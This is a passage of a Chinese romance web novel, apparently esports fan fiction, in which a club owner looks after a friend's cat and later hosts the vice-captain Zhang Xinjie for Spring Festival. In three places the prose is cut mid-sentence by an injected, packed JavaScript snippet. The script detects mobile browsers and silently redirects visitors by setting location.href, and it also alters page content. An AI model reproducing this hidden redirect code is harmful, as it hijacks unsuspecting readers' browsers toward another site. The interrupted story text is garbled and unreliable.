猫似乎对这个名字没意见,在她怀里蹭了蹭。 晚上训练结束后,秦昭昭抱着猫去了训练室。 她一推门进去,所有人都转过头。 “秦总,您这是……”张佳乐第一个开口,眼睛盯着她怀里的猫。 “我闺蜜的猫,帮她照顾几天。”秦昭昭解释,然后把猫放在地上,“它叫三花,特别乖,不会捣乱的。” 三花落地后,先是警惕地看了看周围,然后迈着优雅的步子,在训练室里转了一圈。 白言飞和秦牧云立刻被吸引了,蹲下来想摸它。三花瞥了他们一眼,绕开了。 “还挺高冷。”白言飞有点失望。 林敬言推了推眼镜,温和地说:“猫一般都这样,不熟悉的人不让摸。” 韩文清看了猫一眼,没说话,继续收拾东西。三花跳上他的桌子,蹲在键盘旁边,歪着头看屏幕。 韩文清转头看它。 三花也抬头看他,然后“喵”了一声。 一人一猫对视了几秒。 然后韩文清伸手,轻轻摸了摸三花的脑袋。 三花没有躲,反而蹭了蹭他的手。 秦昭昭在旁边看着,惊讶地瞪大眼睛。 韩文清……居然主动摸猫? 在她印象里,韩文清总是严肃认真,对什么都一副公事公办的样子。她从来没想过他也会喜欢小动物。 韩文清摸了两下就收回了,但三花似乎喜欢上了他,赖在他桌子上不走了,趴在他手边,又开始打呼噜。 “看来三花很喜欢韩队啊。”张佳乐笑着说。 “它好像谁都喜欢。”秦昭昭说,“除了刚来时有点怕生,现在完全不怕人了。” 确实,三花在训练室里转了一圈,跟每个人都亲近了一下。它蹭了蹭林敬言的裤脚,闻了闻张新杰的鞋子,还在白言飞和秦牧云脚边打了几个滚。 张新杰推了推眼镜,表情平静:“秦总,猫最好不要带进训练室,会影响训练。” “我知道我知道,就今天一次!”秦昭昭赶紧保证,“它刚来,我怕它在办公室害怕,带过来让它熟悉一下环境。” 张新杰点点头,没再说什么。 就在这时,三花转悠到了张佳乐脚边。 张佳乐正准备起身,看见猫在自己脚边,愣了一下。他蹲下来,试探性地伸出手:“嗨,小家伙?” 三花抬起头,琥珀色的眼睛盯着他看了一会儿,然后—— “喵。” 他伸手想摸猫的头,三花不但没躲,反而主动凑过来,在他手心里蹭了蹭。 “哇!它喜欢你!”秦昭昭惊喜地说。 张佳乐笑得特别开心,干脆坐在地板上,把猫抱起来放在腿上。三花在他腿上踩了踩,找了个舒服的姿势,趴下了。 “它要睡觉了?”秦昭昭凑过来看。 “好像是。”张佳乐小心翼翼地摸着猫的背,动作很轻,“它好软啊。” 猫在他腿上打了个哈欠,闭上眼睛,真的睡了。 “它居然这么喜欢你!”秦昭昭羡慕地说,“我抱它的时候它都没这么乖。” “可能我比较有猫缘吧。”张佳乐得意地笑。 林敬言走过来看,也笑了:“确实,它看起来很喜欢你。” 韩文清收拾好东西,准备离开,经过时看了一眼在张佳乐腿上睡得正香的猫,没说什么。 张新杰推了推眼镜:“时间到了,该回房间休息了。” “再等一会儿嘛!”张佳乐舍不得起来,“它睡得这么香,我一起来它就醒了。” “那你就在这儿睡?”张新杰面无表情地说。 张佳乐:“……” 最后他还是小心翼翼地把猫抱起来,递给秦昭昭:“秦总,给你。” 三花被吵醒了,不满地“喵”了一声,在秦昭昭怀里扭了扭,又睡着了。 秦昭昭抱着猫,看着张佳乐恋恋不舍的样子,忍不住笑了:“张佳乐,你明天可以来我办公室看它。” “真的?”张佳乐眼睛一亮。 “真的。”秦昭昭点头,“反正它要在俱乐部待一周呢。” “太好了!”张佳乐高兴地说。 第二天一早,秦昭昭刚到办公室,就听见敲门声。 “请进。” 门开了,张佳乐探进头来:“秦总,猫呢?” 秦昭昭指了指沙发:“在那儿睡觉呢。” 张佳乐轻手轻脚地走进来,看到三花蜷在沙发上,睡得正香。他蹲在沙发边,盯着猫看,眼神温柔得不像话。 “它睡觉的样子好可爱。”张佳乐小声说。 “你要不要抱抱?”秦昭昭问。 “可以吗?”张佳乐眼睛一亮。 “当然可以。” 张佳乐小心翼翼地抱起猫,三花在他怀里动了动,睁开眼睛看了他一眼,然后又把头埋进他臂弯里,继续睡。 “它真的好喜欢你啊。”秦昭昭感叹,“我抱它的时候它都没这么黏人。” “可能我身上有猫喜欢的味道吧。”张佳乐笑,抱着猫在沙发上坐下。 秦昭昭去给他倒了杯水,放在茶几上。 张佳乐抱着猫,忽然说:“秦总,你知道吗,我以前在百花的时候,也养过一只猫。” “真的?”秦昭昭感兴趣地问。 “嗯,是一只橘猫,叫橘子。”张佳乐回忆着,眼神有点悠远,“那时候训练压力大,回到宿舍看见它在门口等我,就觉得特别温暖。后来……后来橘子老了,生病了,没救回来。” 他说着,声音低了下去。 秦昭昭愣了一下,没想到张佳乐还有这样的故事。 “对不起……”她小声说。 “没事。”张佳乐摇摇头,摸了摸怀里三花的毛,“都过去了。现在看到这只猫,又想起橘子了。” 三花在他怀里蹭了蹭,像是在安慰他。 张佳乐笑了:“不过这只猫比橘子乖多了。橘子可皮了,总挠我鼠标线。” 两人聊了一会儿猫,张佳乐看看时间,该去训练了,才恋恋不舍地把猫还给秦昭昭。 “秦总,我训练完再来看它。” “好。”秦昭昭点头。 张佳乐走后,秦昭昭抱着猫,看着窗外。 天空阴沉沉的,像是又要下雪了。 她把猫放在腿上,轻轻摸着它的毛,心里涌起一股温暖的感觉。 接下来的几天,三花成了霸图俱乐部的团宠。 每天早上,张佳乐都会准时来秦昭昭办公室报到,抱着猫玩一会儿再去训练。下午训练结束,他也会来,有时候是陪着猫玩,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005621|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候就是抱着猫看书。 秦昭昭发现,张佳乐抱着猫的时候,整个人都变得特别温柔。那种平时在赛场上张扬热烈的气质消失了,取而代之的是一种安静平和。 除了张佳乐,其他队员也对猫表现出了兴趣。 白言飞和秦牧云总想摸猫,但三花对他们总是爱答不理的,只有张佳乐在的时候,才会勉强让他们摸两下。 林敬言偶尔会来办公室坐坐,看着张佳乐和猫互动,温和地笑。 张新杰对猫的态度比较中立——他不反对猫在俱乐部,但坚决不允许猫进训练室。有一次三花想跟着张佳乐溜进去,被张新杰严肃地拦住了。 “训练室禁止宠物入内。”张新杰推了推眼镜。 三花“喵”了一声,委屈巴巴地看着张佳乐。 张佳乐只好把它抱回秦昭昭办公室。 至于韩文清……秦昭昭发现,韩文清对猫的态度有点微妙。 他从来不主动接近猫,但也不排斥。有时候秦昭昭抱着猫在走廊里遇见他,他会看一眼猫,然后点点头,算是打招呼。 有一次,秦昭昭把猫带到休息室玩,韩文清正好在那里看书。猫在房间里转悠,转着转着就转到韩文清脚边了。 秦昭昭心里一紧,怕韩文清不喜欢猫,会把它赶走。 但韩文清只是低头看了猫一眼,然后继续看书。 猫在他脚边转了两圈,见他不理自己,就趴下了,蜷成一个毛茸茸的球。 一人一猫,相安无事。 秦昭昭看着这一幕,觉得有点好笑。 一周很快过去了。 林小雨旅游回来,打电话说要来接猫。 秦昭昭接电话的时候,张佳乐正好在她办公室抱着猫玩。 “小雨说她下午来接三花。”秦昭昭放下手机,对张佳乐说。 张佳乐的手顿了一下,然后继续摸着猫的背:“下午就来啊……” “嗯。”秦昭昭看着他失落的样子,有点不忍心,“你要是舍不得,可以跟小雨说说,让她晚几天再接……” “不用了。”张佳乐摇摇头,笑得很勉强,“本来就是帮人照顾的,总要还回去的。” 猫似乎听懂了,抬起头,“喵”了一声,用脑袋蹭了蹭他的手。 下午,林小雨准时来了。 她拎着航空箱,风风火火地走进办公室:“昭昭!我回来啦!我的小祖宗呢?” 三花看见主人,立刻从张佳乐腿上跳下来,跑到林小雨脚边,“喵喵”地叫。 “哎哟我的宝贝,想妈妈了没?”林小雨抱起猫,亲了一口,“这几天乖不乖?有没有给姐姐添麻烦?” 秦昭昭摇头:“没有,它特别乖。” 林小雨这才注意到旁边的张佳乐,眼睛一亮:“这位是……张佳乐选手?” 张佳乐点点头:“你好。” “哇!我是你粉丝!”林小雨兴奋地说,“百花缭乱太帅了!之前我喊昭昭找你要签名来着,我会继续关注你的比赛的!” 张佳乐笑了笑:“谢谢。” 林小雨抱着猫,跟秦昭昭聊了一会儿旅行见闻,然后说:“那我先走啦!改天请你吃饭!” 她拎起航空箱,准备把猫放进去。 三花似乎知道要回家了,没有挣扎,乖乖地进去了。 林小雨关上门,跟秦昭昭和张佳乐道别,离开了。 办公室里一下子安静下来。 秦昭昭看着空荡荡的沙发,心里也有点空落落的。 她转头看向张佳乐。张佳乐还站在原地,看着沙发,眼神有点茫然。 “张佳乐,你没事吧?”秦昭昭小声问。 张佳乐摇摇头,笑了一下:“没事,就是……有点不习惯。” 他说着,走到沙发边坐下,手在猫平时趴的位置摸了摸:“这几天习惯了每天来看它,现在突然没了,觉得少了点什么。” 秦昭昭在他旁边坐下:“你要是喜欢猫,可以自己养一只啊。” 张佳乐沉默了一会儿,然后说:“算了,职业选手到处比赛,照顾不好。等以后退役了再说吧。” 他说这话时语气很平静,但秦昭昭听出了一点落寞。 “那……”秦昭昭想了想,“以后要是还有朋友托我照顾猫,我还带过来给你玩。” 张佳乐看着她,笑了:“谢谢秦总。” “不客气。”秦昭昭也笑了。 窗外,天色渐渐暗下来。俱乐部的灯光一盏盏亮起,训练室里传来键盘敲击声。 她站起身,拍了拍张佳乐的肩膀:“走吧,该去训练室了。” 张佳乐点点头,站起身。两人一起走出办公室,朝训练室走去。 29.买下霸图的第二十九天 全明星周末的热闹劲儿过去后,荣耀联盟进入了短暂的休赛期。临近春节,各大战队的训练节奏都放缓了,队员们也陆续收拾行李,准备回家过年。 霸图俱乐部的走廊里,白言飞和秦牧云一前一后拖着行李箱,两人脸上都带着压不住的笑意。 “我妈说今年做了加倍的红烧肉,等我回去!”白言飞说着,还夸张地吸了吸鼻子,好像已经闻到了香味。 秦牧云跟在后面笑:“我奶奶也是,早早就打电话说饺子馅儿都调好了,韭菜鸡蛋的,就等我到家了。” 正说着,林敬言拎着箱子从房间走出来,看见他俩,温和地招招手:“路上都当心点,车票拿好了吧?” “放心吧林哥!”两人异口同声地应道,朝他挥挥手,脚步轻快地往楼梯口走去。 张佳乐是走得最早的,他老家远,得赶飞机。临走前他特意绕到秦昭昭办公室,扒着门框往里瞧在确认了没有猫要他照顾后才说:“秦总,我真走了啊!” 秦昭昭从文件里抬起头,冲他笑了笑:“知道啦,路上顺利,春节快乐!” “得嘞!”张佳乐一甩他那一头显眼的红发,拖着箱子风风火火地走了。 韩文清是最后一个离开的。他背着个简单的运动包,在大堂停住脚步,看向从办公室出来的秦昭昭。 “秦总还不走?”他声音一如既往地沉稳。 “过两天再回,我爸出差,除夕才到家呢。”秦昭昭搓了搓手,哈出一口白气,“韩队路上注意安全,新年快乐呀!” 韩文清点了点头,没再多说,转身大步流星地走了。他的背影很快消失在街道转角,带着一种不容置疑的干脆。 秦昭昭目送他离开,转身环顾忽然安静下来的大堂,觉得暖气好像开得不太够,有点凉飕飕的。 她走回办公室,打算收拾一下自己也准备回家。路过训练室时,习惯性地往里瞥了一眼,脚步却顿住了。 训练室里灯还亮着。 张新杰端坐在电脑前,屏幕的光映在他专注的脸上,镜片后的眼睛一眨不眨,手指偶尔在键盘上敲击几下,神情认真得像在攻克什么关键难题。 秦昭昭推门进去:“张副队?你怎么还没回去?” 张新杰闻声抬起头,推了推眼镜:“秦总。我想在下半轮比赛开始前,把对手的资料再系统整理一遍。” “现在整理?”秦昭昭走到他旁边,看了一眼密密麻麻的文档,“这都快过年了呀,不回家吗?” “嗯。”张新杰的视线落回屏幕,语气平淡,“父母今年春节都要出差,家里没人。我回去也是一个人,不如留在俱乐部做点事情。” 他说得轻描淡写,可秦昭昭听着很不舒服。 过年啊……别人都是归心似箭,热热闹闹,他怎么就能这么平静地准备一个人对着电脑过年? “不行!”秦昭昭想也没想,话就冲口而出。 张新杰诧异地转过椅子看向她:“什么不行?” “你不能一个人留在俱乐部过年!”秦昭昭语气斩钉截铁,往前迈了一步,“这像什么话!过年就得团圆,一个人冷冷清清的算什么过年!” 张新杰似乎想解释:“秦总,我习惯了,而且正好——” “没有而且!”秦昭昭打断他,脑子里灵光一闪,眼睛亮了亮,“你跟我回家过年!” 训练室里骤然安静。 张新杰整个人定住了,脸上闪过清晰可见的愕然。他嘴唇微微动了动,像没听清:“……什么?” “我说,你跟我回家过年!”秦昭昭又说了一遍,越说越觉得这主意好,“反正我爸除夕才回,之前家里就我一个,空荡荡的。你来正好,我们一起准备年夜饭,一起看春晚,一起守岁!多好!” 她语速飞快,像是怕被拒绝,说完不等张新杰反应,就直接走过去抓住了他的手腕。 “走!现在就去收拾东西!我让司机送咱们。” “秦总,这不太合适……”张新杰想抽回手,奈何秦昭昭握得紧,一下没挣开。 “有什么不合适!”秦昭昭不由分说地拉着他往外走,“我爸上次来不是夸你靠谱稳重吗?你去我家过年他肯定高兴!别磨蹭了,就带几件衣服,我家什么都有!” 张新杰被她拽得脚步有些不稳,脑子里嗡嗡的。去秦总家过年?这完全超出了他的计划,甚至超出了他的想象。 “秦总,我真的……”他试图停下脚步。 “真什么真!”秦昭昭已经把他拉到房门口,松开手,双手叉腰,仰头看他,“张新杰,你是不是没把我当朋友?” 张新杰顿住了:“……当然不是。” “那就别废话了!”秦昭昭一把推开他的房门,“赶紧收拾!十分钟后楼下见!” 说完,她转身就走,步子迈得又急又快,留下张新杰一个人站在门口,表情一片空白。 十分钟后,张新杰提着一个黑色小行李箱出现在大堂。他换了件浅灰色的毛衣,外套一件黑色羽绒服,头发梳理得一丝不苟,眼镜也擦得干干净净。 秦昭昭已经在门口等着了,看见他,眼睛弯了弯:“哇,张副队,收拾得这么精神!” 张新杰推了推眼镜,视线微微垂了一下:“秦总过奖了。” “走走走!”秦昭昭率先推开门。 车子已经在门外候着。坐进温暖的车厢,秦昭昭兴致勃勃地开始规划:“张副队,我跟你说,年夜饭咱们可以自己做!我会包饺子,你会吗?” 张新杰还沉浸在这突如其来的行程中,下意识回答:“会一点。” “太好了!”秦昭昭开心地拍了下手,“那咱们一起包!你喜欢什么馅儿?猪肉白菜?韭菜鸡蛋?还是三鲜?” “都……可以。”张新杰说。 “那就每样都包点!”秦昭昭说得眉飞色舞,“还得□□联、窗花、灯笼……虽然就咱俩,但仪式感必须拉满!” 她说着说着,发现张新杰一直没怎么吭声,只是安静地听着,便转过头:“张副队,你怎么不说话?是不是嫌我太吵啦?” “没有。”张新杰摇摇头,手指无意识地扶了扶眼镜框,“只是……有点没想到。” “没想到什么?” “没想到您会邀请我去家里过年。”张新杰看向她,语气认真,“这对我来说,是很特别的体验。” 秦昭昭愣了一下,随即笑起来:“这有什么特别的,朋友之间串门过年多正常!再说了,你可是咱们战队的副队长,我的得力干将,去我家过个年怎么了?” 她说得那么理所当然,笑容明亮又温暖。 张新杰看着她,忽然想起她刚来俱乐部时的样子。那时她什么都不懂,却总是用充满信任的眼睛看着他们每一个人。 张新杰看着她灿烂的笑脸,忽然觉得车里暖气开得太足,脸上有点发热。他悄悄转过脸看向窗外,手指却微微收拢,握成了拳。 车窗玻璃上,淡淡映出秦昭昭的侧影。她正跟着车载音乐轻轻哼歌,手指在膝盖上一点一点的,心情很好的样子。 张新杰看着那模糊的影子,嘴角几不可察地向上弯了一下。 秦昭昭的家在Q市一个环境幽静的高档小区。车子驶入时,张新杰看着窗外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005622|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精心打理过的景观,心里那种不真实感又浮现出来。 车子停在一栋雅致的独栋别墅前。秦昭昭跳下车,伸了个懒腰:“到家啦!” 她利落地掏出钥匙开门,转身朝张新杰招手:“快进来,外面冷。” 张新杰提着箱子跟进去。室内暖意扑面而来,装修温馨舒适。玄关处摆着温馨的家庭合影,秦大海笑得开怀,秦昭昭挽着他,笑得一脸灿烂。 “你的房间在二楼,我隔壁。”秦昭昭领他上楼,“阿姨已经收拾好了。” 她推开一扇门。房间宽敞明亮,米白色的床品干净柔软,书桌上台灯光线温和,窗边小沙发看着就很舒服。 “还满意吗?”秦昭昭靠在门框上问。 张新杰点点头:“很好,谢谢秦总。” “都说了不用谢。”秦昭昭笑,“你先收拾,我下楼看看冰箱,琢磨晚上吃啥!” 她说完,脚步轻快地跑下了楼。 张新杰把箱子放在墙边,走到窗边。外面花园虽然冬日略显萧瑟,但几株松柏依然苍翠。他静静看了一会儿,才慢慢开始整理衣物。 刚把衣服挂进衣柜,楼下就传来秦昭昭清脆的喊声:“张副队!收拾好了吗?咱们去超市买年货啦!” 小区附近的大型超市里,人流比平时多不少,满是置办年货的人。 秦昭昭推着购物车,眼睛亮晶晶地在货架间穿梭:“春联!得买副好看的!”她拿起一副红底金字的,“‘一帆风顺年年好,万事如意步步高’——这副怎么样?” 张新杰仔细看了看,点头:“寓意很好。” “那就它了!”秦昭昭把春联放进车里,“还要窗花、灯笼、彩灯……啊,糖果也不能少!你喜欢吃什么糖?” “都可以。”张新杰答。 “那就每样都拿点!”秦昭昭手脚麻利地往车里放东西,没多久购物车就堆起了一座小山。 张新杰跟在一旁,看着越来越满的车,忍不住提醒:“秦总,我们只有两个人,会不会买太多了?” “过年嘛,就是要丰盛!”秦昭昭理直气壮,“人再少,气氛得到位!” 转到生鲜区,秦昭昭对挑菜不太在行,张新杰却意外地熟练。他拿起一条鲈鱼看了看:“这条很新鲜,适合清蒸。” “你会做清蒸鱼?”秦昭昭惊讶地睁大眼。 “母亲教过,会一些。”张新杰点点头。 “太好了!晚上就吃它!”秦昭昭高兴地说,又指向一块五花肉,“那这个呢?能做红烧肉吗?” “可以。”张新杰看了看肉,“不过红烧肉费时间,最好明天做。” “没问题!反正我们要待到除夕后呢!”秦昭昭爽快地决定。 两人在超市逛了挺久,购物车堆得满满当当。结账时,收银阿姨看着他们,笑眯眯地问:“小两口一起来办年货啊?” 秦昭昭瞬间脸红到了耳朵根,连连摆手:“不是不是!我们……我们是同事,朋友!” 张新杰推了推眼镜,没说话,耳廓也染上了一层淡红。 收银阿姨意识到说错话,赶紧道歉:“哎哟不好意思,我看你们挺有夫妻相的……” “没、没关系!”秦昭昭赶紧扫码付钱,拎起袋子就往外走。 走出超市,冷风一吹,脸上的热度才降下去一些。秦昭昭偷偷瞥了眼张新杰,发现他也正看过来。两人目光一碰,又同时飞快地挪开。 “那个……回家吧。”秦昭昭小声说,手指无意识地捏了捏购物袋的提手。 “嗯,回家。”张新杰点点头,接过她手里两个最重的袋子。 30.买下霸图的第三十天 从超市满载而归后,秦昭昭的家一下子热闹起来。客厅的茶几上铺满了红彤彤的春联窗花,厨房的冰箱被塞得满满当当,空气中飘起了淡淡的甜香。 “先把春联贴起来吧!”秦昭昭拎着刚买的春联,抬头看向张新杰。 张新杰点点头看向她问:“好,需要胶带吗?” “要!柜子里应该有!”秦昭昭小跑着去储物间翻找,张新杰则弯下腰,仔细地将春联在茶几上摊平,手指一行行划过上面的字。 “一帆风顺年年好……这是上联。”他轻声念着,神色专注。 秦昭昭拿着胶带回来时,正好看见他微微低头研究春联的侧影。午后阳光从厨房窗户斜进来,在他镜片上映出细碎的光。 “张副队,贴春联你也这么认真呀。”秦昭昭忍不住笑起来。 张新杰抬起头,扶了扶眼镜:“贴反了寓意不好,得看清楚。” “知道啦知道啦,”秦昭昭把胶带递过去,“那咱们开工!大门一副,厨房门一副!” 两人先来到大门外。秦昭昭踮起脚伸手比划高度,张新杰站在她身后看了看,接过春联:“秦总,我来吧。” “哦,好。”秦昭昭乖乖让到一边,顺手把胶带塞给他。 张新杰个子比她高,抬手就能轻松够到门框顶端。他先对齐上沿,撕开胶带,仔细贴好四个角。接着是下联,最后横批。动作干净利落,贴得平整工整。 “真厉害啊张副队!”秦昭昭忍不住夸奖。 贴完大门,两人转到厨房门口。秦昭昭这回搬了个小凳子,站上去举着春联:“张副队,你帮我看看歪不歪!” 张新杰后退两步,微微偏头看了看:“左边再高一点……好,可以了。” 春联贴完,秦昭昭又兴冲冲地开始贴窗花。小鱼、福字、生肖图案的红色窗花,被她贴在客厅和厨房的玻璃上。张新杰安静地在旁边递窗花,偶尔伸手帮她调整一下位置。 等全部贴好,整个家焕然一新。红艳艳的春联,精巧的窗花,加上秦昭昭顺手挂起来的几只小灯笼,虽然还没亮灯,过年的气氛已经暖暖地漾开了。 “接下来准备晚饭!”秦昭昭拍拍手,和张新杰一起往厨房走。 厨房里光线明亮,料理台上堆满了刚从超市买回的食材。秦昭昭打开冰箱,一样样往外拿。 “清蒸鲈鱼,蒜蓉西兰花,西红柿鸡蛋汤……再加个可乐鸡翅怎么样?我只会这个。”她掰着手指头数。 张新杰点点头表示没有异议:“可以,秦总想吃的就做。” “那你呢?”秦昭昭转头看他,眨了眨眼问,“你有什么特别想吃的吗?” 张新杰想了想,摇头说:“我都可以。秦总做什么我吃什么。” “那怎么行,”秦昭昭皱着眉摇摇头,“一起过年,当然要做大家都喜欢的呀。” 她从柜子里翻出一条崭新的围裙,淡蓝色,上面印着只小猫,递给他:“给,穿上这个,别弄脏衣服。” 张新杰接过围裙,低头看了看那只小猫,愣了一下。 “怎么,不喜欢?”秦昭昭看着他不解地问,“我家里就这条了,是我平时用的……” “没有,挺好。”张新杰推了下眼镜,展开围裙,低头系好。 淡蓝围裙套在浅灰毛衣外,意外地柔和。小猫图案趴在他胸前,让他平日严肃的轮廓温和了几分。 秦昭昭看着,扑哧笑出来:“张副队,你这样还挺可爱的。” 张新杰耳尖微微泛红,没接话,转身去处理鲈鱼。 秦昭昭也系上自己的围裙,粉底上印着小狗。她站到张新杰旁边,看着他清洗鲈鱼,两面划花刀,抹盐和料酒腌制。动作熟练,一气呵成。 “张副队,你做饭好熟练啊。”秦昭昭感叹。 “以前在家常帮母亲打下手。”张新杰一边切姜丝一边说,“她说男孩子也要会做饭,不能总等着被照顾。” “阿姨说得太对了!”秦昭昭用力点头,“会做饭的男生最帅了!” 张新杰切姜丝的手顿了顿,没应声,耳廓却更红了。 秦昭昭没注意,自顾自开始准备可乐鸡翅。这是她唯一拿手的菜。她做得认真,虽然动作稍显生疏,但步骤一步没乱。张新杰在旁边看着,偶尔提醒一句火候。 “秦总,可以翻面了。” “可乐可以少放些,太甜了不好。” “该加酱油了。” 秦昭昭一一照做。两人在厨房里默契配合,像在训练室讨论战术时一样自然。 等鸡翅炖上,张新杰那边的清蒸鲈鱼也准备下锅了。他铺好姜丝葱段,淋上蒸鱼豉油,将盘子放进蒸锅。 “大火八分钟。”他低头看了眼手表。 秦昭昭凑过去看,蒸锅已经冒出丝丝白气。她忽然注意到张新杰的手。手指修长,骨节清晰,指甲修剪得干净整齐。此刻这双手正握着锅铲,娴熟地翻炒蒜蓉西兰花。也是这双手,在职业赛场上布置着一个个让对手头疼的战术。 “张副队,你的手真好看。”秦昭昭脱口而出。 张新杰动作一滞,转头看她。 秦昭昭这才意识到说了什么,脸一热,忙解释:“我是说……你做饭的样子很专业,手也……那个,我能拍张照发微博吗?” 张新杰沉默了几秒,点点头:“可以。” 秦昭昭立刻掏出手机,对着他做饭的手拍了几张。照片里,那双修长的手握着锅铲,手背隐约可见淡青血管,袖口露出一截深蓝毛衣,还有围裙的浅蓝系带。 她挑了张最满意的,打开微博编辑: “和好朋友一起准备年夜饭!他的手是不是很好看?[图片]” 发送。 几乎瞬间,评论区就热闹起来。 “哇这手!绝了!” “男生的手吗?手指好长!” “秦总交男朋友了?!” “围裙带子……是男生在做饭?” 秦昭昭刷着评论,看到有人问“是不是秦昭昭男朋友”,赶紧回复:“是好朋友啦!手好看吧?” 她正回复得起劲,手机连震好几下——战队群炸了。 张佳乐:“@秦昭昭秦总!你微博上那双手是不是张副队的?!” 林敬言:“@张新杰张副队,你在秦总家?” 白言飞:“张副队去秦总家过年了?!” 秦牧云:“震惊.jpg” 秦昭昭看着刷屏的消息,这才反应过来——对啊,网友不认识,可天天一起训练的队友怎么会认不出? 她抬头看向张新杰,发现他也正低头看手机,显然收到了群消息。 “那个……”秦昭昭有点不好意思,“我是不是发得太快了?” 张新杰面色依旧平静,仿佛这是一件很正常的事似的:“没关系,不是需要保密的事。” 话音刚落,他手机又震了下。秦昭昭低头一看,是他在群里回复了。 张新杰:“在秦总家过年。秦总邀请的。” 张佳乐:“!!!!!!” 林敬言:“张副队,好好照顾秦总啊。” 白言飞:“张副队威武!” 秦牧云:“张副队过年快乐!” 秦昭昭看着屏幕,忍不住笑起来。她收起手机,继续盯着锅里的鸡翅。 很快,所有菜都做好了。清蒸鲈鱼鲜嫩,蒜蓉西兰花清爽,可乐鸡翅油亮诱人,西红柿鸡蛋汤热气袅袅。秦昭昭还盛了两碗满满的米饭。 两人将菜端上餐桌。秦昭昭特意点起两支蜡烛。天还没黑,但她坚持这样有气氛。 “来,干杯!”秦昭昭举起果汁杯,“新年快乐,张副队!” 张新杰也举杯,轻轻和她碰了下:“新年快乐,秦总。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她家阳台宽敞,视野开阔。两人并肩站着,望向远处夜空。十二点整,天边骤然一亮。大片烟花绽开,五彩斑斓,照亮半边天。 “新年快乐!”秦昭昭转头对张新杰大声说,笑眯眯的。 “新年快乐。”张新杰看着她,嘴角溢出笑容。 烟花的光映在两人脸上,明明灭灭。张新杰想,如果可以一直这样该多好…… 看完烟花,两人回到客厅。电视里春晚已近尾声,秦昭昭却开始打哈欠。 她揉揉眼睛,含糊地问:“张副队,你困不困?” 张新杰看了眼时间,现在是凌晨一点多。这早已超出他平常的休息时间。 “有点。”他诚实道。 “那去睡吧,”秦昭昭站起来,“明天不用早起,睡个懒觉!” 她又打了个哈欠,眼角泛出泪花。 张新杰点点头,也站起身。两人一起上楼,在各自房间门口道别。 “晚安,张副队。”秦昭昭揉着眼睛说。 “晚安,秦总。”张新杰轻声回应。 秦昭昭进屋洗漱完,倒在床上。她拿起手机看了看,有几条未读消息:林小雨的拜年、老爹的“闺女新年快乐”和大红包、战队群里大家的互相祝福。 她一条条回复,眼皮却越来越沉。 正要睡着时,手机又震了一下,是一直没发消息的韩文清。 韩文清:“张新杰在你家?” 秦昭昭迷迷糊糊打字:“嗯,他父母出差,我邀他来过年。怎么了韩队?” 发完等了一会儿,没回音。 困意彻底袭来,她把手机放回床头,闭上眼睛。 算了,明天再回吧…… 她翻了个身,很快沉入梦乡。 31.买下霸图后的第三十一天 清晨六点整,张新杰准时醒来。 窗帘缝里透进微光,房间尚暗。他盯着陌生的天花板看了几秒,才想起自己在哪——秦昭昭家,客房里。 这几天他已逐渐习惯这里。每天同一时间醒,洗漱,下楼做早餐。秦昭昭通常八点多才睡眼惺忪地出现,看到他备好的早餐总会惊喜地说“张副队你太好啦”。 但今天,张新杰没立刻起床。 他怔怔坐在床上,脑子里还是刚才的梦。 梦里全是秦昭昭。 她在笑,眼睛弯如月牙;她在厨房笨拙地切菜,他接过刀,她就在旁边笑嘻嘻看;她在阳台看烟花,转头对他说“新年快乐”,烟火的光映在她脸上,格外明亮。 张新杰抬手碰了碰自己的脸颊。 有点烫。 他深吸口气,掀被下床。赤脚踩上地板,凉意让他清醒些许。走进浴室,打开水龙头,双手捧起冷水,用力拍在脸上。 凉水冲过皮肤,热度终于褪去一些。 张新杰抬起头,看向镜中的自己。头发微乱,眼镜没戴,眼神里透着一丝少见的迷茫。 他来秦昭昭家已经六天了。 今天第六天。 再过几天,就要回俱乐部了。 这念头一起,张新杰心里忽然漫开一阵说不清的情绪。是不舍吗?还是失落? 他自己也辨不明白。 洗漱完,张新杰换好衣服,戴回眼镜,整个人恢复了平日的严谨模样。他轻轻推开房门,放轻脚步下楼。 厨房里很安静。张新杰打开冰箱,开始准备早餐。他记得秦昭昭喜欢吃煎蛋,要全熟,边缘微微焦黄。也记得她喜欢喝豆浆,要加点糖。 这些细节,是他这几天默默留意到的。 煎蛋在锅里滋滋作响,豆浆机也开始工作。张新杰站在灶台前,看着蛋液渐渐凝固成形,忽然觉得这样的早晨也很好。 …… 上午十一点,秦昭昭才慢悠悠下楼。她今天穿了身浅粉家居服,头发松松扎了个丸子,看起来格外放松。 “张副队早呀——”她打着哈欠走进厨房,“今天吃什么?” “早,秦总。”张新杰正在切菜,“午饭在准备。早餐在桌上,您先垫垫。” “你太好啦!”秦昭昭眼睛一亮,小跑到餐桌边坐下。盘子里是两个煎得恰到好处的蛋,还有杯温热的豆浆。 